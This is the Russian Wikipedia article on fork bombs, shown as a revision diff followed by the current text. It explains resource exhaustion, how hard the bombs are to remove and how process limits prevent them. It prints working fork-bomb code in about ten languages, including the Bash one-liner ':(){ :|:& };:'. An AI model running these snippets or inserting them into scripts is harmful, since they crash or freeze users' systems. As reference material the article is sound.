Fork-бомба: различия между версиями
[непроверенная версия] | [непроверенная версия] |
S1lver ex (обсуждение | вклад) Нет описания правки |
Нет описания правки |
||
(не показано 39 промежуточных версий 29 участников) | |||
Строка 1: | Строка 1: | ||
{{lowercase}}[[Файл:Fork bomb.svg|thumb|250px|right|Рекурсивное порождение процессов, ведущее к [[DoS-атака|отказу в обслуживании]] или падению системы]] |
|||
{{lowercase}} |
|||
'''Fork-бомба''' — вредоносная или ошибочно написанная программа, бесконечно создающая свои копии (системным вызовом [[fork|fork()]]), которые обычно также начинают создавать свои копии и т. д. |
|||
[[Файл:Fork bomb.svg|thumb|250px|right|Рекурсивное порождение процессов, ведущее к [[DoS-атака|отказу в обслуживании]] или падению системы]] |
|||
'''fork-бомба''' — вредоносная или ошибочно написанная программа, бесконечно создающая свои копии (системным вызовом [[fork|fork()]]), которые обычно также начинают создавать свои копии и т. д. |
|||
Выполнение такой программы может |
Выполнение такой программы может вызывать большую нагрузку вычислительной системы или даже [[DoS-атака|отказ в обслуживании]] вследствие нехватки системных ресурсов (дескрипторов процессов, памяти, процессорного времени), что и является целью. |
||
Программа классической fork-бомбы (написанная на [[Си (язык программирования)|языке Си]]) выглядит так: |
Программа классической fork-бомбы (написанная на [[Си (язык программирования)|языке Си]]) выглядит так: |
||
< |
<syntaxhighlight lang="c"> |
||
#include <unistd.h> |
#include <unistd.h> |
||
Строка 15: | Строка 14: | ||
fork(); |
fork(); |
||
} |
} |
||
</syntaxhighlight> |
|||
</source> |
|||
Схожими случаями утечки системных ресурсов являются программы, порождающие [[Процесс-зомби|зомби]] и [[Процесс-сирота|процессы-сироты]]. Однако, если большинство fork-бомб создаётся намеренно, эти проблемы обычно являются результатом невнимательности или некомпетентности программиста. |
Схожими случаями утечки системных ресурсов являются программы, порождающие [[Процесс-зомби|зомби]] и [[Процесс-сирота|процессы-сироты]]. Однако, если большинство fork-бомб создаётся намеренно, то эти проблемы обычно являются результатом невнимательности или некомпетентности программиста. |
||
== Описание == |
== Описание == |
||
fork-бомба порождает большое количество собственных копий и тем самым пытается заполнить свободное место в списке активных [[Процесс (информатика)|процессов]] [[операционная система|операционной системы]]. После заполнения списка процессов становится невозможным старт полезной программы. Даже если какой-либо другой процесс прекратит работу |
fork-бомба порождает большое количество собственных копий и тем самым пытается заполнить свободное место в списке активных [[Процесс (информатика)|процессов]] [[операционная система|операционной системы]]. После заполнения списка процессов становится невозможным старт полезной программы. Даже если какой-либо другой процесс прекратит работу и место в списке процессов освободится, то старт полезной программы маловероятен, так как множество других копий fork-бомбы уже ждут возможности запустить свою очередную копию. |
||
Кроме заполнения списка процессов, возможны также стратегии заполнения виртуальной памяти, процессорного времени, сокетов и других системных ресурсов. Результатом исчерпания этих ресурсов становится замедление работы или практически остановка операционной системы и/или полезных программ ([[зависание]] компьютера). |
Кроме заполнения списка процессов, возможны также стратегии заполнения виртуальной памяти, процессорного времени, сокетов и других системных ресурсов. Результатом исчерпания этих ресурсов становится замедление работы или практически остановка операционной системы и/или полезных программ ([[зависание]] компьютера). |
||
Fork-бомба может быть получена и в результате ошибки при добросовестном программировании. Например, программа, слушающая сетевой порт, может при получении сетевого пакета или установлении соединения «упасть» в бесконечный цикл |
Fork-бомба может быть получена и в результате ошибки при добросовестном программировании. Например, программа, слушающая сетевой порт, может при получении сетевого пакета или установлении соединения «упасть» в бесконечный цикл создания своих копий для обработки пакета или соединения. Простая ошибка программирования может привести к [[Утечка памяти|утечке памяти]] или к последствиям, характерным для результатов работы fork-бомбы. |
||
== Примеры fork-бомб на разных языках программирования == |
== Примеры fork-бомб на разных языках программирования == |
||
{{Внимание|Выполнение данных примеров может привести к потере несохранённых данных. Не рекомендуется выполнять их без применения надлежащих мер предосторожности.}} |
|||
'''[[Язык программирования C|C]]:'''<ref>один из наиболее элегантных примеров fork-бомбы, создан [[:en:Markys|Markys'om]]</ref> |
|||
<syntaxhighlight lang="c"> |
|||
#include <stdlib.h> |
|||
int main(void) |
|||
{ |
|||
for(;;) { |
|||
system("start"); |
|||
} |
|||
} |
|||
</syntaxhighlight> |
|||
или: |
|||
<syntaxhighlight lang="c"> |
|||
#include <unistd.h> |
|||
int main(void) |
|||
{ |
|||
while(fork()) {}; |
|||
} |
|||
</syntaxhighlight> |
|||
'''[[Bash]]:'''<ref>один из наиболее элегантных примеров fork-бомбы, создан [[:en:Jaromil|Jaromil’ом]]</ref> |
'''[[Bash]]:'''<ref>один из наиболее элегантных примеров fork-бомбы, создан [[:en:Jaromil|Jaromil’ом]]</ref> |
||
< |
<syntaxhighlight lang="bash"> |
||
:(){ :|:& };: |
:(){ :|:& };: |
||
</syntaxhighlight> |
|||
</source> |
|||
или |
|||
<syntaxhighlight lang="bash"> |
|||
fork() { |
|||
fork | fork & |
|||
} |
|||
fork |
|||
</syntaxhighlight> |
|||
'''[[Java]]''': |
|||
<syntaxhighlight lang="java"> |
|||
public class forkbomb |
|||
{ |
|||
public static void main(String[] args) |
|||
{ |
|||
Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "forkbomb"}); |
|||
} |
|||
} |
|||
</syntaxhighlight> |
|||
'''[[Perl]]''': |
'''[[Perl]]''': |
||
< |
<syntaxhighlight lang="perl"> |
||
fork while fork |
fork while fork |
||
</syntaxhighlight> |
|||
</source> |
|||
'''[[Python]]''': |
'''[[Python]]''': |
||
< |
<syntaxhighlight lang="python"> |
||
import os |
import os |
||
while |
while True: |
||
os.fork() |
|||
</syntaxhighlight> |
|||
</source> |
|||
В некоторых системах такой вызов запрещен, копирование возможно только при сохранении идентификатора процесса: |
|||
<syntaxhighlight lang="python"> |
|||
import os |
|||
while True: |
|||
a=os.fork() |
|||
</syntaxhighlight> |
|||
'''[[Ruby]]''': |
'''[[Ruby]]''': |
||
< |
<syntaxhighlight lang="ruby"> |
||
fork while fork |
fork while fork |
||
</syntaxhighlight> |
|||
</source> |
|||
Второй вариант: |
Второй вариант: |
||
< |
<syntaxhighlight lang="ruby"> |
||
loop { fork } |
loop { fork } |
||
</syntaxhighlight> |
|||
</source> |
|||
'''[[PHP]]'''[[PHP|:]]<syntaxhighlight lang="php"> |
|||
'''[[Пакетный файл]] [[Microsoft Windows]]:''' |
|||
<?php |
|||
while(true) { |
|||
pcntl_fork(); |
|||
} |
|||
</syntaxhighlight> |
|||
'''[[Пакетный файл|Пакетный файл Microsoft Windows]]:''' |
|||
< |
<syntaxhighlight lang="dos"> |
||
:s |
:s |
||
start %0 |
start %0 |
||
goto :s |
goto :s |
||
</syntaxhighlight> |
|||
</source> |
|||
Второй вариант |
|||
'''[[Object Pascal]]''': |
|||
< |
<syntaxhighlight lang="dos"> |
||
start %0 %0 |
|||
program ForkBomb; |
|||
</syntaxhighlight> |
|||
uses |
|||
System, Windows, SysUtils, Forms, ShellApi; |
|||
Вариант на VB.NET |
|||
begin |
|||
<syntaxhighlight lang="vb">Do System.Diagnostics.Process.Start(System.Reflection.Assembly.GetExecutingAssembly().Location) Loop While True</syntaxhighlight> |
|||
Application.Initialize; |
|||
Application.Run; |
|||
while 0=0 do ShellExecuteA(0, 'open', pchar(Application.Exename), nil, nil, 0); |
|||
end. |
|||
</source> |
|||
'''[[Псевдокод (язык описания алгоритмов)|Псевдокод]]:''' |
'''[[Псевдокод (язык описания алгоритмов)|Псевдокод]]:''' |
||
Строка 86: | Строка 137: | ||
== Трудность ликвидации == |
== Трудность ликвидации == |
||
В случае успешного срабатывания fork |
В случае успешного срабатывания fork-бомбы становится трудным или практически невозможным восстановить нормальную работу ЭВМ без [[Перезагрузка|перезагрузки]], так как единственный способ прекратить работу fork-бомбы — это одновременное прекращение работы всех работающих копий fork-бомбы. В большинстве реализаций операционных систем вызов команды для прекращения работы процесса требует запуска нового процесса, что в условиях успешно работающей fork-бомбы невозможно. |
||
Однако, на практике некоторые fork |
Однако, на практике некоторые fork-бомбы не требуют таких радикальных мер и могут быть уничтожены без необходимости перезагрузки. Рассмотрим, например, случай бомбы из примера выше: |
||
< |
<syntaxhighlight lang="bash"> |
||
:(){ :|:& };: |
:(){ :|:& };: |
||
</syntaxhighlight> |
|||
</source> |
|||
Особенность этого кода в том, что он не [[Бесконечный цикл|зацикливается]] после неуспешного порождения своих копий, а завершает работу. В результате список процессов постоянно находится на грани заполнения: одна из копий fork |
Особенность этого кода в том, что он не [[Бесконечный цикл|зацикливается]] после неуспешного порождения своих копий, а завершает работу. В результате список процессов постоянно находится на грани заполнения: одна из копий fork-бомбы завершается, и освобождающееся место тут же занимается новосозданным процессом из другой копии fork-бомбы. Становится возможным конкурировать с fork-бомбой за захват места в списке процессов. Тогда возможно рано или поздно запустить команду для одновременного уничтожения всех копий-fork бомбы или запустить безопасную программу, которая будет постепенно «отвоёвывать» место в списке процессов до завершения работы последнего процесса fork-бомбы. Пример такой безопасной программы на [[zsh]]: |
||
< |
<syntaxhighlight lang="bash"> |
||
while (sleep 100 &!) do; done |
while (sleep 100 &!) do; done |
||
</syntaxhighlight> |
|||
</source> |
|||
== Предотвращение == |
== Предотвращение == |
||
Один из способов предотвращения негативных последствий работы fork |
Один из способов предотвращения негативных последствий работы fork-бомбы — принудительное ограничение количества процессов, которые [[пользователь]] может запустить одновременно. Также могут быть ограничены количество выделяемой виртуальной памяти и другие системные ресурсы. При исчерпании максимума доступных процессов попытка процесса создать новый процесс потерпит неудачу. Максимум запускаемых процессов должен быть таким, чтобы он позволял запустить разумное полезное количество программ, но не приводил к краху системы при одновременном запуске fork-бомбы от всех пользователей системы. |
||
Необходимо отметить, что ограничение количества процессов само по себе не предотвращает запуск fork |
Необходимо отметить, что ограничение количества процессов само по себе не предотвращает запуск fork-бомбы, а лишь направлено на минимизацию возможного вреда в случае её срабатывания. |
||
Другое решение проблемы — интеллектуальное распознавание fork |
Другое решение проблемы — интеллектуальное распознавание fork-бомбы средствами самой операционной системы, но это решение не нашло широкого применения. |
||
Существует и такая трудность, что если fork |
Существует и такая трудность, что если fork-бомба занимает всё доступное процессорное время, то результаты её работы могут быть катастрофическими не только на однопроцессорной, но и на многопроцессорной системе, даже при ограничении числа процессов. Например, если число процессоров 16, а максимум количества запущенных процессов 100, то на каждый процессор будет приходиться в среднем 6-7 работающих экземпляров fork-бомбы, пожирающих процессорное время. Для решения этой проблемы применяется ограничение по привязке к процессорам. |
||
== См. также == |
== См. также == |
||
Строка 112: | Строка 163: | ||
== Примечания == |
== Примечания == |
||
{{примечания}} |
{{примечания}} |
||
[[Категория:Информационная безопасность]] |
[[Категория:Информационная безопасность]] |
||
[[Категория:Атаки и эксплойты]] |
[[Категория:Атаки и эксплойты]] |
||
[[Категория:Статьи с примерами кода]] |
[[Категория:Статьи с примерами кода Ruby]] |
||
[[Категория:Статьи с примерами кода Perl]] |
|||
[[Категория:Статьи с примерами кода Python]] |
[[Категория:Статьи с примерами кода Python]] |
||
[[Категория:Статьи с примерами кода Си]] |
|||
[[ca:Bomba fork]] |
|||
[[cs:Fork bomba]] |
|||
[[de:Forkbomb]] |
|||
[[en:Fork bomb]] |
|||
[[es:Bomba fork]] |
|||
[[fr:Fork bomb]] |
|||
[[it:Fork bomb]] |
|||
[[ja:Fork爆弾]] |
|||
[[pl:Fork-bomba]] |
|||
[[zh:Fork炸弹]] |
Текущая версия от 12:24, 10 июня 2023
Fork-бомба — вредоносная или ошибочно написанная программа, бесконечно создающая свои копии (системным вызовом fork()), которые обычно также начинают создавать свои копии и т. д.
Выполнение такой программы может вызывать большую нагрузку вычислительной системы или даже отказ в обслуживании вследствие нехватки системных ресурсов (дескрипторов процессов, памяти, процессорного времени), что и является целью.
Программа классической fork-бомбы (написанная на языке Си) выглядит так:
#include <unistd.h>
int main()
{
while(1)
fork();
}
Схожими случаями утечки системных ресурсов являются программы, порождающие зомби и процессы-сироты. Однако, если большинство fork-бомб создаётся намеренно, то эти проблемы обычно являются результатом невнимательности или некомпетентности программиста.
Описание
[править | править код]fork-бомба порождает большое количество собственных копий и тем самым пытается заполнить свободное место в списке активных процессов операционной системы. После заполнения списка процессов становится невозможным старт полезной программы. Даже если какой-либо другой процесс прекратит работу и место в списке процессов освободится, то старт полезной программы маловероятен, так как множество других копий fork-бомбы уже ждут возможности запустить свою очередную копию.
Кроме заполнения списка процессов, возможны также стратегии заполнения виртуальной памяти, процессорного времени, сокетов и других системных ресурсов. Результатом исчерпания этих ресурсов становится замедление работы или практически остановка операционной системы и/или полезных программ (зависание компьютера).
Fork-бомба может быть получена и в результате ошибки при добросовестном программировании. Например, программа, слушающая сетевой порт, может при получении сетевого пакета или установлении соединения «упасть» в бесконечный цикл создания своих копий для обработки пакета или соединения. Простая ошибка программирования может привести к утечке памяти или к последствиям, характерным для результатов работы fork-бомбы.
Примеры fork-бомб на разных языках программирования
[править | править код]#include <stdlib.h>
int main(void)
{
for(;;) {
system("start");
}
}
или:
#include <unistd.h>
int main(void)
{
while(fork()) {};
}
:(){ :|:& };:
или
fork() {
fork | fork &
}
fork
Java:
public class forkbomb
{
public static void main(String[] args)
{
Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "forkbomb"});
}
}
Perl:
fork while fork
import os
while True:
os.fork()
В некоторых системах такой вызов запрещен, копирование возможно только при сохранении идентификатора процесса:
import os
while True:
a=os.fork()
Ruby:
fork while fork
Второй вариант:
loop { fork }
<?php
while(true) {
pcntl_fork();
}
Пакетный файл Microsoft Windows:
:s
start %0
goto :s
Второй вариант
start %0 %0
Вариант на VB.NET
Do System.Diagnostics.Process.Start(System.Reflection.Assembly.GetExecutingAssembly().Location) Loop While True
алг ПрограммаX пока истина нц вызов ПрограммаX кц кон алг ПрограммаX
Трудность ликвидации
[править | править код]В случае успешного срабатывания fork-бомбы становится трудным или практически невозможным восстановить нормальную работу ЭВМ без перезагрузки, так как единственный способ прекратить работу fork-бомбы — это одновременное прекращение работы всех работающих копий fork-бомбы. В большинстве реализаций операционных систем вызов команды для прекращения работы процесса требует запуска нового процесса, что в условиях успешно работающей fork-бомбы невозможно.
Однако, на практике некоторые fork-бомбы не требуют таких радикальных мер и могут быть уничтожены без необходимости перезагрузки. Рассмотрим, например, случай бомбы из примера выше:
:(){ :|:& };:
Особенность этого кода в том, что он не зацикливается после неуспешного порождения своих копий, а завершает работу. В результате список процессов постоянно находится на грани заполнения: одна из копий fork-бомбы завершается, и освобождающееся место тут же занимается новосозданным процессом из другой копии fork-бомбы. Становится возможным конкурировать с fork-бомбой за захват места в списке процессов. Тогда возможно рано или поздно запустить команду для одновременного уничтожения всех копий-fork бомбы или запустить безопасную программу, которая будет постепенно «отвоёвывать» место в списке процессов до завершения работы последнего процесса fork-бомбы. Пример такой безопасной программы на zsh:
while (sleep 100 &!) do; done
Предотвращение
[править | править код]Один из способов предотвращения негативных последствий работы fork-бомбы — принудительное ограничение количества процессов, которые пользователь может запустить одновременно. Также могут быть ограничены количество выделяемой виртуальной памяти и другие системные ресурсы. При исчерпании максимума доступных процессов попытка процесса создать новый процесс потерпит неудачу. Максимум запускаемых процессов должен быть таким, чтобы он позволял запустить разумное полезное количество программ, но не приводил к краху системы при одновременном запуске fork-бомбы от всех пользователей системы.
Необходимо отметить, что ограничение количества процессов само по себе не предотвращает запуск fork-бомбы, а лишь направлено на минимизацию возможного вреда в случае её срабатывания.
Другое решение проблемы — интеллектуальное распознавание fork-бомбы средствами самой операционной системы, но это решение не нашло широкого применения.
Существует и такая трудность, что если fork-бомба занимает всё доступное процессорное время, то результаты её работы могут быть катастрофическими не только на однопроцессорной, но и на многопроцессорной системе, даже при ограничении числа процессов. Например, если число процессоров 16, а максимум количества запущенных процессов 100, то на каждый процессор будет приходиться в среднем 6-7 работающих экземпляров fork-бомбы, пожирающих процессорное время. Для решения этой проблемы применяется ограничение по привязке к процессорам.
См. также
[править | править код]- fork() — системный вызов Unix-подобных операционных систем (согласно стандарту POSIX)
- Зомби и процессы-сироты — схожие случаи утечки системных ресурсов
Примечания
[править | править код]- ↑ один из наиболее элегантных примеров fork-бомбы, создан Markys'om
- ↑ один из наиболее элегантных примеров fork-бомбы, создан Jaromil’ом